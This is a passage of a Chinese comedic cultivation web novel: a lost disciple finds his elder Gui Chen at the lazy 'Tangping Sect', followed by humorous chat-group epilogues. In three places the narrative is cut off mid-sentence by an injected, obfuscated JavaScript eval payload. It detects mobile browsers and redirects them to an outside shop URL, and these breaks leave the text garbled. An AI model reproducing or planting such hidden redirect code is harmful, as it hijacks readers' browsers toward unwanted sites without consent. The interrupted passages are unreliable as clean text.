他一个人坐在歪脖子树下,看着月亮。 月光洒在他身上,照出他脸上的轮廓。 他蹲在那儿,一动不动。 手里没有瓜子。 典星河从屋里走出来,看见他这样,脚步顿了顿。 然后她走过去,在他旁边蹲下。 从怀里掏出一把瓜子,递给他。 归尘接过,嗑了一颗。 “咔”。 “谢谢,我刚忘带了。” 两人一起嗑瓜子,一起看月亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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归尘点点头。 “很热闹。” 师父看着他,看了很久。 然后他说:“小尘,我该走了。” 归尘愣住了。 “师父……” 师父摆摆手。 “你已经不需要我了。”他说,“你有人陪了。” 他转身,往废墟深处走去。 归尘想追,却迈不开腿。 师父走了两步,又回头。 “对了,小尘。” 归尘看着他。 师父笑了笑。 “不要害怕失去,失去从来不是终点,而是另一种开始。放过得不到的,珍惜现在拥有的,往前走。还有啊,记得多想想师父。” 然后他消失了。 归尘站在原地,泪流满面。 他睁开眼睛。 月光照在他脸上。 他发现自己还坐在歪脖子树下,靠着树干。 手里还握着那把扫帚。 他低头看了看。 扫帚沉默着。 他站起来,走回柴房。 推开门的瞬间,他听见身后传来一个声音。 很轻。 像风吹过竹林。 “小尘,好好活着。” 归尘脚步顿了顿。 他没有回头。 但他点了点头。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日汇总:吓跑拜师者二十七人,挂名费报价一百两每人,无人成交。损失:零。收入:零。心情:复杂但好笑。 赵铁柱:哈哈哈哈哈哈二十七人! 王甜甜:掌门太厉害了! 典星河:还行,哈哈。 归尘:@钱多多,瓜子还有吗? 钱多多:有有有!但不多了。 归尘:明天多买点。 钱多多:好嘞! 王甜甜:怀疑归爷爷是瓜子成精,不,我们全宗门都是瓜子精。 钱多多:?你活够了? 典星河:我们宗门日后改名为“神瓜宗”。 归尘:挺好。 王甜甜:我附议。 典星河:前辈昨日睡得可好? 归尘:做了个梦。 典星河:什么梦? 归尘:梦见有人敲我脑袋。 典星河:……这才是活够了。 李翠花:。 13. 山里来了个帅小伙 穆惇赢了论剑大会之后的第五天,躺平宗终于消停了一点。 说“一点”,是因为—— 仙网论坛的热度还在,但已经从“穆惇三剑”转移到了“沈惊鸿采访”再转移到了“有人扒出归尘前辈可能是三千年前上古宗门幸存者”。 祁幻每天打开玉简,都能看到新的帖子。 【震惊】我找到了三千年前的宗门名录,躺平宗真的存在过! 【深度】从归尘前辈的瓜子看渡劫期大佬的心路历程 【八卦】那个扫地老头到底什么来路?我查了三个月资料 祁幻一边看一边冒汗。 “掌门,”他把玉简递过去,“他们快把前辈的底裤扒出来了。” 典星河躺在摇椅上,眼睛都没睁。 “扒出来又怎样?他能少块肉?” 祁幻张了张嘴,说不出话来。 归尘蹲在歪脖子树下,嗑着瓜子,一副事不关己的样子。 宋栀子凑过去看热闹,念道:“‘二师兄,你也在论坛上诶!’” 牧殇眼睛一亮:“说我什么?” “‘话痨剑修,用剑当麦克风,据说能聊崩别人的道心’。” 牧殇乐了:“这个评价我喜欢!” 祁幻继续往下翻。 “‘管账的三师兄,每天都在崩溃边缘,但宗门还没破产全靠他’。” 他愣了一下,然后有点不好意思地挠挠头。 “这倒是实话……” 宋栀子又往下翻,突然笑出声来。 “‘小师妹宋栀子,发明家,虽然会炸但很可爱’——哈哈哈哈‘虽然会炸’!” 她一点也不生气,反而美滋滋的。 “可爱!他们说我很可爱!” 牧殇凑过去看了一眼,点点头:“是挺可爱的,就是炸起来吓人。” 宋栀子瞪他一眼。 穆惇此刻正在灵田里干活,头都没抬。 祁幻看了一眼论坛,念道:“‘大师姐穆惇,原名李翠花,十年种地,一朝归来,仍是剑道奇才’。” 穆惇手上的动作顿了顿。 痛失原名! 李翠花只是论坛网名,到底是谁传的! 她抬起头,看向祁幻。 祁幻赶紧摆手:“不是我!我什么都没发!” 牧殇举手:“也不是我!我小号都被封完了!” 宋栀子也摇头:“也不是我!我只在发明区混!” 典星河躺在摇椅上,慢悠悠地说:“看我干嘛?我连账号都没有。” 归尘蹲在树下,只摇摇头。 穆惇沉默了三秒,然后继续锄地。 什么都没说。 但祁幻看见她锄头的力道比刚才重了几分。 他默默在账本上记了一笔: “大师姐疑似生气,锄地力度+50%。需注意。” 下午,太阳偏西的时候,山门外来了一个人。 不是一群人,是一个人。 一个年轻人。 他穿着一身半旧的青衫,背着一个小小的包袱,站在山门外,看着那块掉了半边的牌匾。 看了很久很久。 久到祁幻从里面出来,看见他,愣住了。 “你找谁?”祁幻警惕地问。 年轻人转过头,看着他。 望着是二十出头的年纪,也许是化形术,眉眼清秀,脸上带着一丝长途跋涉的风尘。但他的眼睛很亮,亮得像藏着什么东西。 “请问,”他开口,声音有些沙哑,“这里是躺平宗吗?” 祁幻点点头。 “是。” 年轻人看着他,嘴角慢慢弯了起来。 “我找一个人。”他说。 “谁?” “归尘前辈。” 祁幻愣住了。 他上下打量着这个年轻人——二十岁出头,修为看不出来,穿着普通,风尘仆仆。 “你……认识前辈?” 年轻人摇摇头。 “不认识。”他说,“但他是我师父的故人。” 祁幻更懵了。 “你师父?你师父是谁?” 年轻人抬起头,又看了看那块牌匾。 “躺平宗。”他说,“三千年前的躺平宗,掌门坐下大弟子善渊。” 祁幻的脑子嗡的一声。 他下意识回头,看向歪脖子树的方向。 归尘还蹲在那儿,嗑着瓜子。 阳光照在他身上,他微微眯着眼,一副悠闲的样子。 祁幻张了张嘴,想喊他,又不知道该喊什么。 年轻人顺着他的目光看过去。 他看见了那个蹲在树下的“老头”。 灰扑扑的袍子,手里攥着一把瓜子,慢悠悠地嗑着。 和论坛上那些帖子里的描述,一模一样。 年轻人的眼眶突然红了。 他往前走了两步,又停下来。 然后他深深吸了一口气,扬声喊了一句—— “师叔!” 那一声“师叔”,像一颗石子投进平静的湖面。 归尘嗑瓜子的手停住了。 他慢慢转过头,看向山门的方向。 一个年轻人站在那儿,青衫半旧,眼眶发红,正看着他。 归尘站起来。 他走得很慢,一步一步。 走到年轻人面前,站定。 他看着这张陌生的脸,沉默了很久。 “你叫我什么?”他问。 年轻人看着他,眼泪终于掉下来。 “师叔。”他重复了一遍,“我师父让我找你。” 归尘愣住了。 “你师父是谁?” 年轻人从怀里掏出一样东西。 是一块玉简。 很旧了,边角都磨得发毛,但被保存得很好。 归尘接过来,输入一丝灵力。 玉简亮了。 里面传来一个声音—— “阿尘啊,你回家了么?” 归尘的身体僵住了。 那是大师兄的声音。 三千年前,那个总追在他后面问“小尘你饿不饿”的声音。 那个在传送阵亮起时,和师父一起,用力把他推进去的声音。 那个他以为再也听不到的声音。 归尘的嘴唇动了动,却说不出话来。 年轻人擦了擦眼泪,努力平复了一下情绪。 “这是师父临终前交给我的。”他说,“他说,他有一个小师弟,三千年前被送走了。他让我……让我找到您。” 归尘的手微微发抖。 年轻人继续说:“师父说,您是他最放心不下的。他说您不爱说话,不爱热闹,总是一个人待着。他怕您一个人,活得太孤单。” 归尘的眼泪掉下来。 年轻人看着他,笑了。 “师叔,”他说,“我找了您二十年。” 屋里,六个人围坐成一圈。 年轻人坐在中间,面前摆着一碗热水——祁幻说“咱们这只有热水,将就喝”。 他端着碗,一口一口地喝着。 归尘坐在他对面,看着他。 其他五个人坐在旁边,大气都不敢出。 宋栀子拽着牧殇的袖子,小声问:“二师兄,这是怎么回事?” 牧殇难得安静,摇了摇头。 典星河靠在墙上,嗑着瓜子,眼睛却一直盯着那个年轻人。 她看得很仔细。 穆惇站在门口,握着那把剑,面无表情——但她没有离开。 祁幻抱着账本,静静望着。 年轻人喝完水,放下碗。 他抬起头,看向归尘。 “师叔,”他说,“我叫沈念。思念的念。” 归尘点点头。 “你师父……是谁?” 沈念沉默了一会儿。 “师父说,他是躺平宗掌门坐下大弟子善渊。”他说,“他说,他有一个师弟,叫归尘。” 归尘的眼眶又红了。 沈念继续说:“师父找了你很久很久。那场浩劫之后,他活了下来,一直在找您。找了不知多少年。” 归尘愣住了。 “他还活着么?” 沈念摇摇头。 他说,“他虽不在了,但他一直相信您还活着。他说,您是他见过最倔的人,不会那么容易死的。” 归尘的眼泪终于忍不住了。 沈念看着他,轻声说:“最后那几年,师父一直在念叨您。他说,小尘不知道过得好不好,有没有找到家,有没有人陪他说话。” 他顿了顿。 “他让我找到您,告诉您——不要怪罪师父,不要怪罪自己,更不要怪罪三千年前那些人。世间诸多美好,放过自己,好好生活。” 归尘低下头,用手捂住脸。 肩膀微微发抖。 屋里安静极了。 没有人说话。 典星河放下瓜子,站了起来。 她走到归尘身边,伸出手,在他肩上拍了拍。 什么都没说。 但那只手很暖。 沈念看着这一幕,眼眶也红了。 “师叔,”他说,“您找到家了。” 那天晚上,月亮很圆。 六个人加一个人,七个人,坐在主殿门口。 祁幻把剩下的肉全做了,摆了一桌子。 沈念一边吃一边说他的故事。 说他从小被师父收养,在深山里长大。说他师父从来不让他下山,只教他练剑、读书、认字。说他师父临终前,把那块玉简交给他,让他下山找人。 “我找了二十年。”他说,“一开始不知道从哪找起。我走遍了整个修仙界,去过北边的冰原,去过南边的荒漠,去过东边的海岛,去过西边的深山。” 他顿了顿。 “有时候觉得自己像个傻子。连您长什么样都不知道,就凭一块玉简,满世界乱跑。” 归尘看着他,眼神复杂。 “后来呢?” “后来有人跟我说,您可以在仙网论坛上发帖。”沈念笑了笑,“我就发了个帖子,问有没有人见过一个老头,爱嗑瓜子,不爱说话。” 牧殇“噗”地笑出声。 “结果呢?”他问。 “结果被人骂了三天。”沈念无奈地说,“什么都不知道就出来寻人,爱嗑瓜子的人多了去了。” 宋栀子捂着嘴笑。 沈念继续说:“但有一个好心人私信我,说最近有个帖子很火,讲的是躺平宗的事。他说那里有个扫地老头,让我去看看。” 他看向归尘。 “我就来了。” 归尘看着他,沉默了很久。 “你师父……长什么样?”他问。 沈念想了想。 “瘦瘦的,高高的,不爱说话。”他说,“但他笑起来很好看。他每次提到您,都会笑。” 归尘的眼眶又红了。 他低下头,看着手里的碗。 沈念看着他,轻声说:“师叔,师父说,您小时候特别不爱说话。他总追着您,问您‘小尘你饿不饿’‘小尘你冷不冷’‘小尘你陪我说说话’。” 归尘的肩膀抖了抖。 “他说,有一次您终于开口了,说了句‘师兄,你话真多’。他高兴了三天。” 旁边,牧殇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387674|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “噗”地笑出声。 然后他赶紧捂住嘴。 但归尘也笑了。 笑着笑着,眼泪又流下来。 沈念看着他,也笑了。 “师叔,”他说,“师父让我告诉您——师祖曾对他说的最后一句话是,这辈子最不后悔的就是将你们送走。” 归尘看着他,看了很久。 然后他伸出手,在沈念脑袋上敲了一下。 沈念捂住脑袋,愣住了。 归尘说:“你师父当年,也这么敲我。” 沈念看着他,眼眶红了。 但他笑了。 笑得像个孩子。 夜深了。 众人都回屋睡了。 归尘一个人坐在歪脖子树下,看着月亮。 沈念走过来,在他旁边蹲下。 “师叔,”他说,“您睡不着?” 归尘摇摇头。 “不想睡。” 沈念没问为什么。 他从怀里掏出一把瓜子,递给归尘。 “师父说,您爱嗑这个。” 归尘愣住了。 他接过瓜子,看着手里的瓜子,看了很久。 “你师父……还说什么了?” 沈念想了想。 “他说,您小时候特别傻。有一次练剑,练着练着把自己绊倒了,摔了一跤,哭了半天。” 归尘的嘴角弯了弯。 “他还说,有一次您偷吃他的糕点,被他抓到了,您吓得躲到树上去,怎么叫都不下来。他只好在树下坐着,等您自己饿了下来。” 归尘低下头,笑了。 笑着笑着,眼泪又下来了。 沈念看着他,轻声说:“师叔,师父说,他这辈子最遗憾的,就是没能看着您长大。” 归尘的眼泪止不住。 沈念伸出手,在他肩上拍了拍。 “但他让我告诉您——他一直在看着您。不管您在哪,他都看着。” 归尘抬起头,看着月亮。 月光很亮。 他好像看见了什么。 一个瘦瘦的、高高的身影,站在月亮里,冲他笑。 是大师兄。 和三千年前一模一样。 归尘张了张嘴,想说点什么。 但那个身影摆了摆手,转身走了。 归尘的眼泪又流下来。 但他笑了。 “师兄,”他轻声说,“我见到你了。” 第二天早上,阳光很好。 归尘从柴房里走出来,发现门口蹲着一个人。 沈念。 他抱着膝盖,蹲在那儿,像是等了很久。 归尘愣了一下。 “你怎么在这儿?” 沈念抬起头,看着他,眼睛亮亮的。 “师叔,”他说,“我怕您跑了。” 归尘沉默了一会儿。 然后他伸出手,又在沈念脑袋上敲了一下。 “不跑。”他说,“跑不动了。” 沈念捂住脑袋,笑了。 笑得像个终于找到家的孩子。 “师叔,我想留在这里照顾您。” 远处,宋栀子跑过来喊:“吃饭了——!” 牧殇跟在她后面,一边跑一边念叨着什么。 祁幻抱着账本,边走边记。 穆惇扛着锄头,往灵田方向走。 典星河躺在摇椅上,慢悠悠地晃着。 归尘看着这一幕,嘴角弯了弯。 然后他蹲下来,从怀里掏出瓜子。 “咔”。 沈念在他旁边蹲下。 “师叔,”他小声问,“您这些年……都是这么过的?” 归尘想了想。 “倒也不是,我也刚来。” 沈念看着他,看了很久。 然后他也从怀里掏出瓜子,嗑了一颗。 “咔”。 “那我们以后就这么过。”他说。 归尘转头看他。 沈念冲他笑了笑。 “反正,”他说,“我终于找到您了。” 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日新增人口:1人。姓名:沈念。来历:三千年前躺平宗后人。修为:未知。饭量:挺大。备注:是前辈的师侄。 赵铁柱:师侄?!那就是自己人了! 王甜甜:欢迎欢迎!(???) 李翠花:@沈念,会种地吗? 沈念:……不会。 李翠花:那得学。 沈念:好、好的师姐。 典星河:@沈念,会算卦吗? 沈念:……不会。 典星河:那也得学。 沈念:好、好的掌门。 赵铁柱:会说话吗? 沈念:会……会吧? 赵铁柱:那不用学,你已经会了! 沈念:??? 王甜甜:哈哈哈哈哈哈 归尘:@沈念,别理他们。 沈念:师叔! 归尘:嗯。 沈念:我……我真的找了您二十年。师父走后,我一下山就一直在找您,可师祖当年传送的地点不一,我来晚了许多年。 归尘:我知道。 沈念:您……您高兴吗? 归尘:高兴。 沈念:真的? 归尘:真的。 钱多多:呜呜呜呜呜我哭了。 赵铁柱:我也哭了。 王甜甜:我也哭了。 李翠花:哭。 典星河:@钱多多,明天多买点肉。 钱多多:好嘞! 14. 新来的师侄有点呆 沈念正式入住躺平宗的第一个早晨,是被一阵巨响吵醒的。 “砰——!” 那声音不是普通的爆炸,而是混合着金属碎裂、木头崩飞、以及某种可疑的滋滋声的复杂交响。 他猛地从柴房的干草堆里坐起来,下意识去摸腰间的剑。 然后他愣住了。 这声音…… 昨天好像听谁说过…… 他努力回想——对了,宋栀子师姐说,她的发明偶尔会“有点动静”,让自己不要紧张。 这叫“有点动静”? 外面传来一阵脚步声,夹杂着祁幻崩溃的喊声: “又炸了?!又炸了!!” 然后是宋栀子的声音,软糯糯的,带着点委屈:“这次真的不怪我!” 沈念愣了三秒。 他站起来,推开门。 然后他看见了这辈子没见过的一幕—— 厨房的方向,冒着黑烟。 黑烟很浓,浓得像是有人在里面烧了十斤湿柴。浓烟里还夹杂着几颗火星,噼里啪啦地往上蹿。 门口站着五个人,表情各异。 祁幻抱着账本,整个人处于崩溃边缘。 牧殇蹲在旁边,嗑着瓜子看热闹。他甚至还在笑,笑得肩膀一抖一抖的。 穆惇面无表情,但手里的锄头握得很紧,指节泛白——好像随时准备冲进去把什么东西刨出来。 典星河靠在歪脖子树上,打着哈欠,一副“我就知道会这样”的表情。 而那个黑烟的源头,宋栀子,站在废墟中央,浑身上下沾满了灰,头发炸成了蒲公英,脸上还有几道黑印。她手里抱着一个还在冒烟的……锅? 那锅的形状已经不太像锅了。它扭曲着,变形着,像一朵开败的铁花,从各个方向往外冒着火星。 她看到沈念出来,眼睛一亮。 “沈念师弟!你醒啦!” 沈念张了张嘴,不知道该说什么。 宋栀子兴冲冲地跑过来,举起那个还在冒烟的锅。 “你看!这是我新发明的‘灵气增压蒸锅’!理论上可以瞬间把饭蒸熟!虽然刚才出了一点点小意外——” 锅突然又冒出一串火星。 “咻——啪!” 火星在沈念脸前炸开,变成一朵小小的烟花。 沈念的后背开始冒汗。 他下意识往后退了一步。 宋栀子低头看了一眼锅,顺手拍了拍。 “没事没事,它就这样。”她一脸无辜,“你别怕,这次真的只是小意外。” 牧殇在旁边笑出了声:“你上次炸茅房的时候也说是小意外。” 宋栀子瞪他:“那次是意外!这次也是意外!” 牧殇:“那你哪次不是意外?” 宋栀子:“……” 她想了想,认真地说:“上次厨房炸的时候,我说的是‘这次可能有点风险’。” 祁幻走过来,看着那个还在冒烟的锅,表情麻木得像一块风干的腊肉。 “王甜甜,”他说,声音平静得可怕,“你知道这个锅多少钱吗?” 宋栀子小声说:“二十文……” “二十文!我昨天刚买的!”祁幻的声音突然拔高,劈叉成两个声部,“今天你就给我炸了!你知道二十文能买多少东西吗?!能买六斤米!能买四十个馒头!能买——” 宋栀子缩了缩脖子,把锅举高了一点,挡住脸。 “可是它真的很好用……”她小声辩解,“你看,它确实把饭蒸熟了……” 她打开锅盖。 里面确实有一锅饭,冒着热气,米粒晶莹剔透,闻起来还挺香。 祁幻愣住了。 宋栀子从锅后面探出脑袋,眼睛亮晶晶的:“你看!虽然锅炸了,但饭熟了!这说明我的发明是成功的!” 祁幻张了张嘴,愣是没说出话来。 典星河慢悠悠地走过来,看了一眼那锅饭。 “能吃吗?”她问。 宋栀子用力点头:“能的能的!我试过了!” 典星河点点头,从锅里盛了一碗饭,尝了一口。 她嚼了嚼,点点头。 “嗯,”她说,“还行。比穆惇上次煮的夹生饭强。” 穆惇在旁边抬起头,面无表情地看了典星河一眼。 典星河假装没看见。 祁幻崩溃了:“掌门!这不是重点吧!” 典星河看了他一眼。 “重点是什么?” 祁幻指着那个还在冒烟的锅:“锅炸了!厨房又炸了!这才几天!上次是茅房,上上次也是茅房,上上上次是厨房,这次又是厨房——咱们宗门总共就这几个地方,轮流炸一遍是吧?!” 典星河想了想。 “那下次换个结实点的锅。”她说,“买个铁的吧,五十文那种。不用给我省钱,我算命赚钱养你们。” 祁幻:“……” 牧殇在旁边笑得直拍大腿。 沈念站在旁边,全程目睹了这一幕。 他看看那个冒烟的锅,看看一脸无辜的宋栀子,看看崩溃的祁幻,看看淡定的典星河,看看嗑瓜子的牧殇,看看面无表情的穆惇。 然后他突然有点想笑。 这是什么神仙宗门? 他正想着,一只手搭上了他的肩膀。 他回头,看见归尘站在他身后。 “习惯就好。”归尘说。 沈念愣了一下,然后点点头。 “好、好的师叔。” 早饭是在主殿门口吃的。 那锅“炸过的饭”被端了上来,配上穆惇种的萝卜炖的汤,还有一小碟咸菜。 沈念端着碗,小心翼翼地吃了一口。 嗯,还挺香。 他忍不住又吃了一口。 宋栀子坐在他旁边,眼睛亮晶晶的。 “好吃吧?” 沈念点头:“好吃。” 宋栀子得意了:“我就说嘛!虽然锅炸了,但饭是好的!这说明我的发明方向是对的!下次我改进一下,就不会炸了!” 祁幻在旁边幽幽地说:“等你改进完之后,炸得更彻底了。” 宋栀子瞪他:“那是我故意的!我想看看能不能炸出新高度!” 祁幻沉默了。 牧殇竖起大拇指:“厉害!” 祁幻把脸埋进碗里。 典星河懒懒道:“无碍无碍,这不是有我算命养宗门嘛。” 祁幻抬起头,幽怨地看着她:“掌门,您算的卦,十两银子一卦,一个月能算几个?” 典星河想了想。 “看心情。”她说,“心情好就多算几个,心情不好就不算。” 祁幻的脸又埋回碗里。 宋栀子拍拍他的肩,语重心长地说:“三师兄,你要往好处想——至少这次没人受伤,茅房也没炸。” 祁幻抬起头,眼神复杂。 “你这安慰人的方式……”他说,“还挺有水平的。” 宋栀子眨眨眼:“真的吗?那我以后多安慰你!” 祁幻赶紧摆手:“不用不用!我挺好的!” 牧殇在旁边笑出了声:“甜甜,你对自己要求真低。” 宋栀子理直气壮:“这叫乐观!” 沈念看着他们拌嘴,嘴角忍不住弯了弯。 他低头又扒了一口饭。 真香。 归尘蹲在树下,嗑着瓜子,看着这一幕。 沈念端着碗走过去,在他旁边蹲下。 “师叔,”他小声说,“您每天都是这么过的?” 归尘想了想。 “差不多。”他说,“有时候炸茅房,有时候炸厨房,有时候炸别的地方。” 沈念愣了一下:“还有别的地方?” 归尘点点头:“上次她炸了试炼场。” 沈念:“……” 归尘继续说:“再上次炸了柴房。” 沈念沉默了一会儿。 “师叔,”他说,“柴房是我现在住的地方。” 归尘看了他一眼。 “所以让你习惯就好。” 沈念低下头,继续吃饭。 吃着吃着,他突然笑了。 归尘转头看他。 沈念抬起头,看着那边还在拌嘴的五个人,眼睛里有一种说不清的光。 “师叔,”他说,“这儿真热闹。” 归尘没说话。 沈念继续说:“师父以前总是一个人,不怎么说话。我问他为什么不出去走走,他说,他在等人。” 他顿了顿。 “他等了很久很久。等到走不动了,等到头发白了,等到只能躺在床上。” “但他一直在等。” 沈念看着归尘。 “现在我找到您了。他也该放心了。” 归尘沉默了很久。 然后他伸出手,在沈念脑袋上敲了一下。 沈念捂住脑袋,笑了。 “疼吗?”归尘问。 沈念摇摇头。 “不疼。”他说,“师父以前也这样敲我。” 上午,穆惇去灵田干活。 沈念跟过去,蹲在旁边看。 穆惇锄地,施肥,浇水,除草,动作行云流水。她锄头挥下去的地方,土块均匀地翻开,杂草被连根拔起,菜苗纹丝不动。 沈念看了一会儿,忍不住问:“师姐,您每天都要干这些?” 穆惇头也没抬。 “嗯。” “不累吗?” 穆惇手上的动作顿了顿。 “累。”她说,“但舒服。” 沈念没懂。 穆惇直起腰,看了他一眼。 “你想试试?” 沈念愣了一下,然后点点头。 穆惇把锄头递给他。 沈念接过来,照着穆惇刚才的样子,用力挥下去。 锄头砸进土里,卡住了。 他使劲拔,拔不出来。 穆惇在旁边看着,嘴角弯了弯。 “太用力了。”她说,“锄地不是打架。” 她走过来,握住锄柄,给他示范。 “手腕放松,腰用力。锄头下去的时候,要顺着土的脾气。” 沈念学着她的样子,试了一下。 锄头下去,土翻开一块。 他又试了一下。 又翻开一块。 穆惇在旁边点点头。 “还行。” 沈念擦了擦汗,笑了。 “师姐,您以前也这么教过人吗?” 穆惇沉默了一会儿。 “教过。”她说。 下午,牧殇拉着沈念聊天。 从“你喜欢吃什么”聊到“你觉得我话多吗”,再从“你知道仙网论坛吗”聊到“我有十七个小号你要不要加”。 沈念被他聊得有点懵。 “十、十七个小号?” 牧殇得意了:“对!专门用来在各大宗门论坛灌水的!” 他从怀里掏出玉简,打开一个帖子。 “你看,这是我昨天用小号在青云宗论坛发的——《震惊!躺平宗那个扫地老头竟然是凤凰的故人》。” 沈念看着那篇帖子,愣住了。 “这……这是真的吗?” 牧殇眨眨眼:“当然不是真的!我编的!” 沈念:“……” 牧殇继续说:“但你看下面的评论——‘真的假的?’‘凤凰还有故人?’‘求详细!’,多有意思!” 沈念沉默了。 牧殇又打开一个帖子。 “还有这个——《惊天秘密!躺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387675|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平宗掌门算命神准的真相》。” 沈念凑过去看。 帖子内容:“据可靠消息,躺平宗掌门之所以算卦神准,是因为她养了一只通灵的白兔!那只白兔每天晚上会告诉她第二天会发生什么!” 沈念看着那篇帖子,表情复杂。 “这也是你编的?” 牧殇点头。 “有人信吗?” 牧殇划到评论区。 评论1:“真的假的?我明天去试试!” 评论2:“楼主说得有鼻子有眼的,感觉是真的!” 评论3:“那只白兔长什么样?我想去偷!” 牧殇笑得直拍大腿。 沈念看着他,突然问:“二师兄,你为什么要编这些?” 牧殇愣了一下。 然后他收起笑,沉默了一会儿。 “因为……”他说,“我以前有个师妹,她喜欢看热闹。她说,世界上最好看的东西,就是一群人因为一件假事吵起来。” 他顿了顿。 “她走了之后,我就……一直帮她看着。” 沈念看着他,没说话。 牧殇又笑起来,拍了拍他的肩。 “所以你要不要小号?我分你一个!” 沈念看着他,点了点头。 “好。” 傍晚,沈念一个人坐在灵田边,看着夕阳。 那把生锈的剑还插在土里,和锄头并排。 他看了一会儿,忍不住伸手摸了摸剑身。 剑身上有四道新痕。 他知道这些痕是怎么来的——穆惇昨天讲过了。 他看着那些痕,突然有点感慨。 这时,身后传来脚步声。 归尘走过来,在他旁边蹲下。 “在想什么?”他问。 沈念想了想。 “在想,”他说,“这里的人,好像都有故事。” 归尘点点头。 “嗯。他们每个人都被困在过去,我也是。” 沈念转头看他。 “师叔,您也被困过吗?” 归尘沉默了一会儿。 “困了三千年。”他说。 沈念没说话。 归尘继续说:“后来发现,困住自己的,是自己。” 他从怀里掏出一把瓜子,递给沈念。 沈念接过来,嗑了一颗。 “咔”。 归尘也嗑了一颗。 “咔”。 两人一起嗑瓜子,一起看夕阳。 夕阳把天边染成橙红色,照在那把生锈的剑上,照在锄头上,照在新修的茅房上。 沈念突然说:“师叔,您知道吗?师父临终前,拉着我的手,说了最后一句话。” 归尘转头看他。 沈念看着夕阳,眼睛有点红。 “他说,‘找到他,告诉他——师兄等你回家吃饭。’” 归尘的眼泪掉下来。 但他笑了。 “好。”他说,“告诉他,我吃上了。” 沈念看着他,也笑了。 两人一起看着夕阳。 身后,传来宋栀子的喊声:“吃饭了——!” 然后是祁幻的:“今天没炸!锅是好的!” 牧殇的:“那甜甜,你进步了啊!” 宋栀子的:“那当然!” 典星河的,懒洋洋的:“肉够吗?” 祁幻的:“够够够!买了三斤!” 穆惇的,平静的:“萝卜汤也好了。” 归尘站起来,拍了拍身上的瓜子壳。 “走吧。”他说,“吃饭。” 沈念站起来,跟在他身后。 走了两步,他突然问:“师叔,以后我也可以跟你们一起吃饭吗?” 归尘回头看他。 “你已经在了。”他说。 沈念愣了一下。 然后他笑了。 “是哦。” 晚饭的时候,七个人围坐在主殿门口。 月亮升起来了,洒下一地清辉。 祁幻买了三斤肉,穆惇炖了一大锅萝卜汤,宋栀子贡献了一碟她腌的咸菜。 牧殇一边吃一边说今天编的新帖子,逗得宋栀子笑个不停。 典星河靠在摇椅上,慢悠悠地晃着,偶尔插一句嘴。 穆惇坐在旁边,安静地吃着饭。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日支出:锅二十文(炸了),厨房维修预估二百文(待定),肉三两一百二十文。今日进账:无。心情:想死但饭挺香。 赵铁柱:哈哈哈哈哈哈锅又炸了! 王甜甜:@钱多多,可是饭熟了呀!好吃吗? 钱多多:……好吃。 王甜甜:那就行了呗! 典星河:@钱多多,习惯就好。 钱多多:掌门您也这么说! 李翠花:@沈念,今天锄地学得还行。 沈念:谢谢师姐!明天还能学吗? 李翠花:能。 赵铁柱:@沈念,明天我教你编帖子! 沈念:……好。 王甜甜:哈哈哈哈哈哈 归尘:@沈念,明天还嗑瓜子吗? 沈念:嗑! 归尘:好。 钱多多:你们……你们就不能关注一下我的心情吗?! 典星河:@钱多多,多买点肉,心情就好了。 钱多多:掌门,你想吃直说。 典星河:我想吃。 钱多多:…… 赵铁柱:哈哈哈哈哈哈 王甜甜:哈哈哈哈哈哈 李翠花:。 归尘:+1 沈念:+1 钱多多:……行吧,明天再买。 15. 账本 沈念来了之后,躺平宗的日子变得更热闹了。 但祁幻的账本,一日比一日厚。 这天晚上,众人吃完饭各自散了,祁幻一个人坐在主殿门口,借着月光翻账本。 “锅二十文……厨房维修预估二百文……肉三两一百二十文……” 他一边念一边用毛笔在账本上写着什么,眉头皱成一团。 写了一会儿,他停下来,盯着账本发呆。 他自认为是全宗唯一的正常人,每天都在崩溃边缘反复横跳,最想跑路,但每次要跑时都会被宗门的温情绊住脚。理智告诉他“这宗门没救了”,感情告诉他“我们是一家人”,不可以抛下他们不管。 月光照在他脸上,照出那两个深深的黑眼圈。 身后传来脚步声。 祁幻没回头。 “账算完了?”典星河的声音。 祁幻点点头。 “算完了。” 典星河在他旁边坐下,看了一眼账本。 “赤字了?” 祁幻又点点头。 “赤字了。” 典星河没说话,从怀里掏出一把瓜子,递给他。 祁幻接过来,嗑了一颗。 “咔”。 典星河也嗑了一颗。 “咔”。 两人一起嗑瓜子,一起看月亮。 过了好一会儿,祁幻突然开口。 “掌门,”他说,“我能问你个问题吗?” 典星河点点头。 “问。” 祁幻看着她,月光下,这个躺在他旁边嗑瓜子的掌门,看起来和平时不太一样。 不是懒洋洋的,是……认真的? “您当初……”他顿了顿,“为什么选我?” 典星河愣了一下。 “什么?” 祁幻低下头,看着手里的账本。 